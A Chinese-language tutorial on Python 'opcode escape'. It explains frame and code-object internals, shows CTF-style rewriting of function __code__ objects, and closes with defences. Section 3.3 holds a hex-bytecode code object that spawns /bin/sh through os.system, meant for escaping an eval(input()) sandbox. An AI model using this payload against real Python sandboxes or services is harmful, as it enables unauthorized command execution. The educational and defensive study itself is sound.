初探PythonOpcode逃逸
字数 2155 2025-08-24 16:48:16
Python Opcode逃逸技术深入解析
1. Python虚拟机执行环境基础
1.1 PyFrameObject结构
Python虚拟机的执行环境基于PyFrameObject栈帧,一个线程有一个栈帧链。栈帧结构如下:
struct _frame {
PyObject_VAR_HEAD
struct _frame *f_back; /* 前一个栈帧 */
PyCodeObject *f_code; /* 代码段 */
PyObject *f_builtins; /* 内置符号表 */
PyObject *f_globals; /* 全局符号表 */
PyObject *f_locals; /* 局部符号表 */
PyObject **f_valuestack; /* 指向最后一个局部变量之后 */
PyObject **f_stacktop; /* 栈顶指针 */
PyObject *f_trace; /* 跟踪函数 */
char f_trace_lines; /* 是否发出每行跟踪事件 */
char f_trace_opcodes; /* 是否发出每个操作码跟踪事件 */
PyObject *f_gen; /* 生成器引用 */
int f_lasti; /* 最后调用的指令 */
int f_lineno; /* 当前行号 */
int f_iblock; /* f_blockstack中的索引 */
char f_executing; /* 栈帧是否仍在执行 */
PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* try和loop块 */
PyObject *f_localsplus[1]; /* 局部变量+栈,动态大小 */
};
1.2 PyCodeObject结构
Python中的代码对象结构如下:
print(dir((lambda: 0).__code__))
'''
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattribute__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__',
'__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
'__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts',
'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars',
'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals',
'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace']
'''
CPython中的实现:
PyCodeObject *
PyCode_New(int argcount, int kwonlyargcount,
int nlocals, int stacksize, int flags,
PyObject *code, PyObject *consts, PyObject *names,
PyObject *varnames, PyObject *freevars, PyObject *cellvars,
PyObject *filename, PyObject *name, int firstlineno,
PyObject *lnotab)
2. 代码对象属性详解
| 属性 | 描述 |
|---|---|
| co_argcount | 位置参数总数(包括仅位置参数和具有默认值的参数) |
| co_posonlyargcount | 仅位置参数(包括具有默认值的参数)的数量 |
| co_kwonlyargcount | 仅关键字参数(包括具有默认值的参数)的数量 |
| co_nlocals | 函数使用的局部变量的数量(包括参数) |
| co_stacksize | 所需的堆栈大小 |
| co_flags | 存放着函数的组合布尔标志位 |
| co_code | 二进制格式的字节码 |
| co_consts | 常量列表 |
| co_names | 字符串列表 |
| co_varnames | 包含局部变量名称的元组(以参数名称开头) |
| co_filename | 代码文件名称 |
| co_name | 函数名称 |
| co_firstlineno | 函数的第一行号 |
| co_lnotab | 编码从字节码偏移量到行号的映射 |
| co_freevars | 包含自由变量名称的元组 |
| co_cellvars | 包含嵌套函数引用的局部变量的名称 |
3. 代码对象修改实战
3.1 基础示例
def a():
if 1 == 2:
print("flag{233}")
print("Opcode of a():", a.__code__.co_code.hex())
print("CONST of a():", a.__code__.co_consts)
# 构造新代码对象
def b():
if 1 != 2:
print("flag{233}")
code = b.__code__.co_code
newcode = type(a.__code__)
code = newcode(0, 0, 0, 0, 2, 67, code, (None, 1, 2, 'flag{0w0}'),
('print',), (), "", "a", 1, b'\x00\x01\x08\x01')
a.__code__ = code
a()
3.2 闭包变量修改示例
def target(flag):
def printflag():
if flag == "":
print(flag)
return printflag
flag = target("flag{2333}")
eval(input(">"))
flag()
构造修改代码:
def a(flag):
def printflag():
if flag != "":
print(flag)
return printflag
target = a("xxx")
code = "flag.__code__=type(target.__code__)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},'{}','{}',{},bytes.fromhex('{}'),{},{})\n".format(
target.__code__.co_argcount,
target.__code__.co_posonlyargcount,
target.__code__.co_kwonlyargcount,
target.__code__.co_nlocals,
target.__code__.co_stacksize,
target.__code__.co_flags,
target.__code__.co_code.hex(),
target.__code__.co_consts,
target.__code__.co_names,
target.__code__.co_varnames,
target.__code__.co_filename,
target.__code__.co_name,
target.__code__.co_firstlineno,
target.__code__.co_lnotab.hex(),
target.__code__.co_freevars,
target.__code__.co_cellvars)
print(code)
3.3 系统命令执行示例
def target():
import os
os.system("/bin/sh")
flag.__code__ = type(target.__code__)(
0, 0, 0, 1, 3, 67,
bytes.fromhex('640164006c007d007c00a0016402a101010064005300'),
(None, 0, '/bin/sh'),
('os', 'system'),
('os',),
'newcode.py', 'target', 8,
bytes.fromhex('00010801'),
('flag',), ())
4. Python Opcode详解
4.1 常用操作码
读写指令
| 指令名 | 操作 |
|---|---|
| LOAD_GLOBAL | 从co_names[namei]入栈 |
| STORE_GLOBAL | 出栈到co_names[namei] |
| LOAD_FAST | 从co_varnames[var_num]入栈 |
| STORE_FAST | 出栈到co_varnames[var_num] |
| LOAD_CONST | 从co_consts[consti]入栈 |
控制指令
| 指令名 | 操作 |
|---|---|
| CALL_FUNCTION | 函数调用,弹出所需参数,新栈帧,返回值压栈 |
| RETURN_VALUE | 函数返回,退出栈帧 |
| POP_JUMP_IF_FALSE | 当条件为假的时候跳转 |
| JUMP_FORWARD | 直接跳转 |
布尔运算
COMPARE_OP操作码对应关系:
cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in',
'is', 'is not', 'exception match', 'BAD')
4.2 字节码解析示例
from opcode import opmap
import dis
chr(opmap['LOAD_CONST']) # 'd'
dis.dis('d')
'''
1 0 LOAD_NAME 0 (d)
2 RETURN_VALUE
'''
dis.dis(bytes.fromhex('880064016b037210740088008301010064005300'))
'''
0 LOAD_DEREF 0 (0)
2 LOAD_CONST 1 (1)
4 COMPARE_OP 3 (!=)
6 POP_JUMP_IF_FALSE 16
8 LOAD_GLOBAL 0 (0)
10 LOAD_DEREF 0 (0)
12 CALL_FUNCTION 1
14 POP_TOP
16 LOAD_CONST 0 (0)
18 RETURN_VALUE
'''
5. Python调试环境搭建
5.1 编译Debug版本Python
git clone https://github.com/python/cpython
cd cpython
sudo apt install build-essential
sudo apt install libssl-dev zlib1g-dev libncurses5-dev \
libncursesw5-dev libreadline-dev libsqlite3-dev libgdbm-dev \
libdb5.3-dev libbz2-dev libexpat1-dev liblzma-dev libffi-dev
./configure --with-pydebug
make -j2 -s
5.2 GDB调试Python
安装调试工具:
sudo apt-get install gdb python-dbg
调试方式:
- 交互式启动:
gdb python
(gdb) run <programname>.py <arguments>
- 快速启动:
gdb -ex r --args python <programname>.py <arguments>
- 附加到现有进程:
gdb python <pid of running process>
- 加载core文件:
gdb python core.PID
常用GDB命令:
py-bt- 当前位置的调用栈py-down- 查看下层调用方的信息py-locals- 查看变量的值py-up- 查看上层调用方的信息python-interactivepy-bt-fullpy-list- 当前执行位置的源码py-printpython
6. 安全应用与防御
6.1 攻击面
-
通过修改
__code__对象可以:- 绕过条件判断
- 访问闭包变量
- 执行任意操作码
- 绕过沙箱限制
-
潜在利用方式:
- 构造恶意字节码执行系统命令
- 绕过Python沙箱限制
- 修改函数行为实现后门
6.2 防御措施
-
限制代码对象修改:
- 监控
__code__属性修改 - 禁止动态代码修改
- 监控
-
沙箱防护:
- 限制危险操作码执行
- 过滤危险模块导入
-
代码审计:
- 检查eval/exec输入
- 监控动态代码生成
7. 拓展资料
- Python开发指南: https://devguide.python.org/
- CPython源码指南: https://realpython.com/cpython-source-code-guide
- Python沙箱绕过: http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html
- PyCode与Frame详解: https://fanchao01.github.io/blog/2016/11/13/python-pycode_and_frame/
- GDB调试Python: https://wiki.python.org/moin/DebuggingWithGdb
- 更简单的Python调试: https://fedoraproject.org/wiki/Features/EasierPythonDebugging